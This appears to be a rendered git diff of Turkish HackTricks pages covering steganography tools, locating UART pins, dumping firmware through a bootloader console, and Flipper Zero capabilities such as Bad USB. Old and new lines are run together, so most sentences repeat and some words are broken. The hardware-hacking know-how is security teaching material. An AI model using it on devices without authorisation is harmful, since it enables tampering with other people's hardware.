Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy bölümüne](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bakın. Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy'nin bölümüne](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bakın.
### **ffmpeg** ### **ffmpeg**
@ -182,7 +174,7 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **Deepsound** ### **Deepsound**
Deepsound, ses dosyaları içindeki bilgilerin AES-256 kullanarak şifrelenmesi ve tespit edilmesi için bir araçtır. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir. Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesi ve tespit edilmesini sağlar. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir.
### **Sonic Visualizer** ### **Sonic Visualizer**
@ -205,30 +197,24 @@ For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image)
### **Braille Çevirisi** ### **Braille Çevirisi**
Braille çevirisi için [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır. Braille çevirisi için, [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır.
## **Referanslar** ## **Referanslar**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -9,31 +9,18 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
UART, verileri bileşenler arasında bir seferde bir bit olarak ileten seri bir protokoldür. Buna karşılık, paralel iletişim protokolleri verileri birden fazla kanal üzerinden aynı anda iletir. Yaygın seri protokoller arasında RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express ve USB bulunur. UART, bileşenler arasında verileri bir seferde bir bit olarak ileten seri bir protokoldür. Buna karşılık, paralel iletişim protokolleri verileri birden fazla kanal üzerinden aynı anda iletir. Yaygın seri protokoller arasında RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express ve USB bulunur.
Genellikle, UART boş durumda iken hat yüksek (mantıksal 1 değeri) tutulur. Ardından, bir veri transferinin başlangıcını işaretlemek için, verici alıcıya bir başlangıç biti gönderir; bu sırada sinyal düşük (mantıksal 0 değeri) tutulur. Sonra, verici, gerçek mesajı içeren beş ila sekiz veri biti gönderir, ardından yapılandırmaya bağlı olarak isteğe bağlı bir parite biti ve bir veya iki durdurma biti (mantıksal 1 değeri ile) gelir. Hata kontrolü için kullanılan parite biti pratikte nadiren görülür. Durdurma biti (veya bitleri) iletimin sonunu belirtir. Genel olarak, UART boş durumda iken hat yüksek (mantıksal 1 değeri) tutulur. Ardından, bir veri transferinin başlangıcını belirtmek için, verici alıcıya bir başlangıç biti gönderir; bu esnada sinyal düşük (mantıksal 0 değeri) tutulur. Sonra, verici, gerçek mesajı içeren beş ila sekiz veri biti gönderir, ardından isteğe bağlı bir parite biti ve yapılandırmaya bağlı olarak bir veya iki durdurma biti (mantıksal 1 değeri) gelir. Hata kontrolü için kullanılan parite biti pratikte nadiren görülür. Durdurma biti (veya bitleri) iletimin sonunu belirtir.
En yaygın yapılandırmaya 8N1 denir: sekiz veri biti, parite yok ve bir durdurma biti. Örneğin, C karakterini veya ASCII'de 0x43'ü 8N1 UART yapılandırmasında göndermek isteseydik, şu bitleri gönderirdik: 0 (başlangıç biti); 0, 1, 0, 0, 0, 0, 1, 1 (0x43'ün ikili değeri) ve 0 (durdurma biti). En yaygın yapılandırmaya 8N1 denir: sekiz veri biti, parite yok ve bir durdurma biti. Örneğin, C karakterini veya ASCII'de 0x43'ü 8N1 UART yapılandırmasında göndermek isteseydik, şu bitleri gönderirdik: 0 (başlangıç biti); 0, 1, 0, 0, 0, 0, 1, 1 (0x43'ün ikili değeri) ve 0 (durdurma biti).
@ -43,7 +30,7 @@ UART ile iletişim kurmak için donanım araçları:
* USB-serial adaptörü * USB-serial adaptörü
* CP2102 veya PL2303 yongaları ile adaptörler * CP2102 veya PL2303 yongaları ile adaptörler
* Çok amaçlı araçlar: Bus Pirate, Adafruit FT232H, Shikra veya Attify Badge * Bus Pirate, Adafruit FT232H, Shikra veya Attify Badge gibi çok amaçlı araçlar
### UART Portlarını Tanımlama ### UART Portlarını Tanımlama
@ -51,18 +38,18 @@ UART'ın 4 portu vardır: **TX**(Gönder), **RX**(Al), **Vcc**(Gerilim) ve **GND
**Multimetre** ile cihaz kapalıyken: **Multimetre** ile cihaz kapalıyken:
* **GND** pinini tanımlamak için **Devamlılık Testi** modunu kullanın, arka ucu toprağa yerleştirin ve kırmızı uçla test edin, multimetreden ses duyana kadar. PCB üzerinde birkaç GND pini bulunabilir, bu nedenle UART'a ait olanı bulmuş olabilirsiniz veya olmayabilirsiniz. * **GND** pinini tanımlamak için **Devamlılık Testi** modunu kullanın, arka ucu toprağa yerleştirin ve kırmızı uçla test edin, multimetreden ses duyana kadar devam edin. PCB üzerinde birkaç GND pini bulunabilir, bu nedenle UART'a ait olanı bulmuş olabilirsiniz ya da olmayabilirsiniz.
* **VCC portunu** tanımlamak için, **DC gerilim modunu** ayarlayın ve 20 V gerilim ayarlayın. Siyah probu toprağa, kırmızı probu pin üzerine yerleştirin. Cihazıın. Multimetre 3.3 V veya 5 V sabit bir gerilim ölçerse, Vcc pinini bulmuşsunuzdur. Diğer gerilimler alırsanız, diğer portlarla tekrar deneyin. * **VCC portunu** tanımlamak için, **DC gerilim modunu** ayarlayın ve 20 V gerilim ayarlayın. Siyah probu toprağa, kırmızı probu pin üzerine yerleştirin. Cihazıın. Multimetre 3.3 V veya 5 V sabit bir gerilim ölçerse, Vcc pinini bulmuşsunuz demektir. Diğer gerilimler alırsanız, diğer portlarla tekrar deneyin.
* **TX** **portunu** tanımlamak için, **DC gerilim modunu** 20 V'a kadar ayarlayın, siyah probu toprağa, kırmızı probu pin üzerine yerleştirin ve cihazıın. Gerilimin birkaç saniye boyunca dalgalandığını ve ardından Vcc değerinde sabitlendiğini bulursanız, muhtemelen TX portunu bulmuşsunuzdur. Bunun nedeni, açıldığında bazı hata ayıklama verileri göndermesidir. * **TX** **portunu** tanımlamak için, **DC gerilim modunu** 20 V'a kadar ayarlayın, siyah probu toprağa, kırmızı probu pin üzerine yerleştirin ve cihazıın. Gerilimin birkaç saniye dalgalandığını ve ardından Vcc değerinde sabitlendiğini bulursanız, muhtemelen TX portunu bulmuşsunuzdur. Bunun nedeni, açıldığında bazı hata ayıklama verileri göndermesidir.
* **RX portu**, diğer 3'e en yakın olanıdır, en düşük gerilim dalgalanmasına ve tüm UART pinleri arasında en düşük genel değere sahiptir. * **RX portu**, diğer 3'e en yakın olanıdır, en düşük gerilim dalgalanmasına ve tüm UART pinleri arasında en düşük genel değere sahiptir.
TX ve RX portlarını karıştırabilirsiniz ve hiçbir şey olmaz, ancak GND ve VCC portlarını karıştırırsanız devreyi yakabilirsiniz. TX ve RX portlarını karıştırabilirsiniz ve hiçbir şey olmaz, ancak GND ve VCC portlarını karıştırırsanız devreyi yakabilirsiniz.
Bazı hedef cihazlarda, üretici RX veya TX'yi veya her ikisini devre dışı bırakarak UART portunu devre dışı bırakmıştır. Bu durumda, devre kartındaki bağlantıları izlemek ve bazı çıkış noktaları bulmak faydalı olabilir. UART'ın tespit edilmediğini ve devrenin kesildiğini doğrulamak için güçlü bir ipucu, cihazın garantisini kontrol etmektir. Cihaz bazı garanti ile gönderildiyse, üretici bazı hata ayıklama arayüzleri (bu durumda, UART) bırakır ve bu nedenle, UART'ı devre dışı bırakmış olmalı ve hata ayıklama sırasında tekrar bağlamalıdır. Bu çıkış pinleri lehimleme veya jumper kabloları ile bağlanabilir. Bazı hedef cihazlarda, üretici RX veya TX'yi veya her ikisini devre dışı bırakarak UART portunu devre dışı bırakmıştır. Bu durumda, devre kartındaki bağlantıları izlemek ve bazı çıkış noktaları bulmak faydalı olabilir. UART'ın tespit edilmediğini ve devrenin kesildiğini doğrulamak için güçlü bir ipucu, cihazın garantisini kontrol etmektir. Cihaz bazı garanti ile gönderildiyse, üretici bazı hata ayıklama arayüzleri (bu durumda, UART) bırakır ve bu nedenle UART'ı devre dışı bırakmış olmalı ve hata ayıklama sırasında tekrar bağlamalıdır. Bu çıkış pinleri lehimleme veya jumper kabloları ile bağlanabilir.
### UART Baud Hızını Tanımlama ### UART Baud Hızını Tanımlama
Doğru baud hızını tanımlamanın en kolay yolu, **TX pininin çıkışına bakmak ve verileri okumaya çalışmaktır**. Aldığınız veriler okunabilir değilse, veriler okunabilir hale gelene kadar bir sonraki olası baud hızına geçin. Bunu yapmak için bir USB-serial adaptörü veya Bus Pirate gibi çok amaçlı bir cihaz kullanabilir ve [baudrate.py](https://github.com/devttys0/baudrate/) gibi bir yardımcı betikle eşleştirebilirsiniz. En yaygın baud hızları 9600, 38400, 19200, 57600 ve 115200'dür. Doğru baud hızını tanımlamanın en kolay yolu, **TX pininin çıkışına bakmak ve verileri okumaya çalışmaktır**. Aldığınız veriler okunabilir değilse, veriler okunabilir hale gelene kadar bir sonraki olası baud hızına geçin. Bunu yapmak için bir USB-serial adaptörü veya Bus Pirate gibi çok amaçlı bir cihaz kullanabilirsiniz, yardımcı bir betik ile birlikte, örneğin [baudrate.py](https://github.com/devttys0/baudrate/). En yaygın baud hızları 9600, 38400, 19200, 57600 ve 115200'dür.
{% hint style="danger" %} {% hint style="danger" %}
Bu protokolde bir cihazın TX'ini diğerinin RX'ine bağlamanız gerektiğini unutmamak önemlidir! Bu protokolde bir cihazın TX'ini diğerinin RX'ine bağlamanız gerektiğini unutmamak önemlidir!
@ -70,9 +57,9 @@ Bu protokolde bir cihazın TX'ini diğerinin RX'ine bağlamanız gerektiğini un
## CP210X UART'dan TTY Adaptörü ## CP210X UART'dan TTY Adaptörü
CP210X Çipi, Serial Communication için NodeMCU (esp8266 ile) gibi birçok prototipleme kartında kullanılır. Bu adaptörler nispeten ucuzdur ve hedefin UART arayüzüne bağlanmak için kullanılabilir. Cihazın 5 pini vardır: 5V, GND, RXD, TXD, 3.3V. Herhangi bir hasarı önlemek için hedefin desteklediği gerilimi bağladığınızdan emin olun. Son olarak, Adaptörün RXD pinini hedefin TXD'sine ve Adaptörün TXD pinini hedefin RXD'sine bağlayın. CP210X Çipi, Seri İletişim için NodeMCU (esp8266 ile) gibi birçok prototipleme kartında kullanılır. Bu adaptörler nispeten ucuzdur ve hedefin UART arayüzüne bağlanmak için kullanılabilir. Cihazın 5 pini vardır: 5V, GND, RXD, TXD, 3.3V. Herhangi bir hasarı önlemek için hedefin desteklediği gerilimi bağladığınızdan emin olun. Son olarak, Adaptörün RXD pinini hedefin TXD'sine ve Adaptörün TXD pinini hedefin RXD'sine bağlayın.
Adaptör tespit edilmezse, CP210X sürücülerinin ana sistemde yüklü olduğundan emin olun. Adaptör tespit edilip bağlandığında, picocom, minicom veya screen gibi araçlar kullanılabilir. Adaptör tespit edilmezse, CP210X sürücülerinin ana sistemde yüklü olduğundan emin olun. Adaptör tespit edildikten ve bağlandıktan sonra, picocom, minicom veya screen gibi araçlar kullanılabilir.
Linux/MacOS sistemlerine bağlı cihazları listelemek için: Linux/MacOS sistemlerine bağlı cihazları listelemek için:
``` ```
@ -94,7 +81,7 @@ Yapılandırmadan sonra, UART Konsolu'nu başlatmak için `minicom` komutunu kul
Eğer UART Serial to USB adaptörleri mevcut değilse, Arduino UNO R3 hızlı bir hack ile kullanılabilir. Arduino UNO R3 genellikle her yerde mevcut olduğundan, bu çok zaman kazandırabilir. Eğer UART Serial to USB adaptörleri mevcut değilse, Arduino UNO R3 hızlı bir hack ile kullanılabilir. Arduino UNO R3 genellikle her yerde mevcut olduğundan, bu çok zaman kazandırabilir.
Arduino UNO R3'te, kartın kendisinde yerleşik bir USB to Serial adaptör bulunmaktadır. UART bağlantısını elde etmek için, Atmel 328p mikrodenetleyici çipini karttan çıkarın. Bu hack, Atmel 328p'nin kartta lehimlenmediği Arduino UNO R3 varyantlarında çalışır (SMD versiyonu kullanılır). Arduino'nun RX pinini (Dijital Pin 0) UART Arayüzünün TX pinine ve Arduino'nun TX pinini (Dijital Pin 1) UART arayüzünün RX pinine bağlayın. Arduino UNO R3'te, kartın kendisinde yerleşik bir USB to Serial adaptör bulunmaktadır. UART bağlantısını elde etmek için, Atmel 328p mikrodenetleyici çipini karttan çıkarın. Bu hack, Atmel 328p'nin kartta lehimlenmediği (SMD versiyonu kullanılır) Arduino UNO R3 varyantlarında çalışır. Arduino'nun RX pinini (Dijital Pin 0) UART Arayüzünün TX pinine ve Arduino'nun TX pinini (Dijital Pin 1) UART arayüzünün RX pinine bağlayın.
Son olarak, Serial Konsolu almak için Arduino IDE kullanmanız önerilir. Menüdeki `tools` bölümünde `Serial Console` seçeneğini seçin ve baud hızını UART arayüzüne göre ayarlayın. Son olarak, Serial Konsolu almak için Arduino IDE kullanmanız önerilir. Menüdeki `tools` bölümünde `Serial Console` seçeneğini seçin ve baud hızını UART arayüzüne göre ayarlayın.
@ -174,7 +161,7 @@ waiting a few secs to repeat....
``` ```
## UART Konsolu ile Firmware Dökümü ## UART Konsolu ile Firmware Dökümü
UART Konsolu, çalışma ortamında temel firmware ile çalışmanın harika bir yolunu sağlar. Ancak, UART Konsolu erişimi yalnızca okunabilir olduğunda, birçok kısıtlama getirebilir. Birçok gömülü cihazda, firmware EEPROM'larda saklanır ve volatiliteli belleğe sahip işlemcilerde çalıştırılır. Bu nedenle, orijinal firmware üretim sırasında EEPROM'un içinde bulunduğundan, firmware yalnızca okunabilir olarak tutulur ve yeni dosyalar volatiliteli bellek nedeniyle kaybolur. Bu nedenle, gömülü firmware'lerle çalışırken firmware dökümü değerli bir çabadır. UART Konsolu, çalışma ortamında temel firmware ile çalışmanın harika bir yolunu sağlar. Ancak, UART Konsolu erişimi yalnızca okunabilir olduğunda, birçok kısıtlama getirebilir. Birçok gömülü cihazda, firmware EEPROM'larda saklanır ve uçucu belleğe sahip işlemcilerde çalıştırılır. Bu nedenle, orijinal firmware üretim sırasında EEPROM'un içinde bulunduğundan, firmware yalnızca okunabilir olarak tutulur ve yeni dosyalar uçucu bellek nedeniyle kaybolur. Bu nedenle, gömülü firmware'lerle çalışırken firmware dökümü değerli bir çabadır.
Bunu yapmanın birçok yolu vardır ve SPI bölümü, çeşitli cihazlarla firmware'i doğrudan EEPROM'dan çıkarmak için yöntemleri kapsar. Ancak, fiziksel cihazlar ve harici etkileşimlerle firmware dökümünün riskli olabileceğinden, önce UART ile firmware dökümünü denemek önerilir. Bunu yapmanın birçok yolu vardır ve SPI bölümü, çeşitli cihazlarla firmware'i doğrudan EEPROM'dan çıkarmak için yöntemleri kapsar. Ancak, fiziksel cihazlar ve harici etkileşimlerle firmware dökümünün riskli olabileceğinden, önce UART ile firmware dökümünü denemek önerilir.
@ -188,7 +175,7 @@ Genellikle, firmware dökümü için komut şudur:
``` ```
md md
``` ```
hangi "bellek dökümü" anlamına gelir. Bu, belleği (EEPROM İçeriği) ekrana dökecektir. Bellek dökümünü yakalamak için prosedüre başlamadan önce Seri Konsol çıktısını kaydetmek önerilir. hangi "memory dump" anlamına gelir. Bu, belleği (EEPROM İçeriği) ekrana dökecektir. Bellek dökümünü yakalamak için prosedüre başlamadan önce Seri Konsol çıktısını kaydetmek önerilir.
Son olarak, günlük dosyasından tüm gereksiz verileri çıkarın ve dosyayı `filename.rom` olarak saklayın ve içeriği çıkarmak için binwalk kullanın: Son olarak, günlük dosyasından tüm gereksiz verileri çıkarın ve dosyayı `filename.rom` olarak saklayın ve içeriği çıkarmak için binwalk kullanın:
``` ```
@ -196,31 +183,19 @@ binwalk -e <filename.rom>
``` ```
Bu, hex dosyasında bulunan imzalara göre EEPROM'dan olası içerikleri listeleyecektir. Bu, hex dosyasında bulunan imzalara göre EEPROM'dan olası içerikleri listeleyecektir.
Ancak, uboot'un kullanılıyor olsa bile her zaman kilidinin açılmadığını belirtmek gerekir. Enter tuşu bir şey yapmıyorsa, Boşluk tuşu gibi farklı tuşları kontrol edin. Eğer bootloader kilitliyse ve kesintiye uğramıyorsa, bu yöntem işe yaramaz. Uboot'un cihaz için bootloader olup olmadığını kontrol etmek için, cihazın açılışı sırasında UART Konsolu'ndaki çıktıyı kontrol edin. Açılış sırasında uboot'u belirtebilir. Ancak, uboot'un kullanılıyor olsa bile her zaman kilidinin açık olmadığını belirtmek gerekir. Enter tuşu bir şey yapmıyorsa, Boşluk tuşu gibi farklı tuşları kontrol edin. Eğer bootloader kilitliyse ve kesintiye uğramıyorsa, bu yöntem işe yaramaz. Uboot'un cihaz için bootloader olup olmadığını kontrol etmek için, cihazın açılışı sırasında UART Konsolu'ndaki çıktıyı kontrol edin. Açılış sırasında uboot'u belirtebilir.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edildiğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# Flipper Zero # Flipper Zero
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,20 +15,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
[**Flipper Zero**](https://flipperzero.one/) ile şunları yapabilirsiniz: [**Flipper Zero**](https://flipperzero.one/) ile şunları yapabilirsiniz:
* **Radyo frekanslarını dinleyin/yakalayın/tekrar oynatın:** [**Sub-GHz**](fz-sub-ghz.md) * **Radyo frekanslarını dinleyin/yakalayın/tekrar edin:** [**Sub-GHz**](fz-sub-ghz.md)
* **NFC kartlarını okuyun/yakalayın/emüle edin:** [**NFC**](fz-nfc.md) * **NFC kartlarını okuyun/yakalayın/emüle edin:** [**NFC**](fz-nfc.md)
* **125kHz etiketlerini okuyun/yakalayın/emüle edin:** [**125kHz RFID**](fz-125khz-rfid.md) * **125kHz etiketlerini okuyun/yakalayın/emüle edin:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Kızılötesi sinyalleri okuyun/yakalayın/gönderin:** [**Infrared**](fz-infrared.md) * **Kızılötesi sinyalleri okuyun/yakalayın/gönderin:** [**Kızılötesi**](fz-infrared.md)
* **iButton'ları okuyun/yakalayın/emüle edin:** [**iButton**](../ibutton.md) * **iButton'ları okuyun/yakalayın/emüle edin:** [**iButton**](../ibutton.md)
* **Kötü USB olarak kullanın** * **Kötü USB olarak kullanın**
* **Güvenlik anahtarı (U2F) olarak kullanın** * **Güvenlik anahtarı (U2F) olarak kullanın**
@ -36,15 +28,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
**Diğer Flipper Zero kaynakları için** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) **Diğer Flipper Zero kaynakları için** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# FZ - Sub-GHz # FZ - Sub-GHz
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
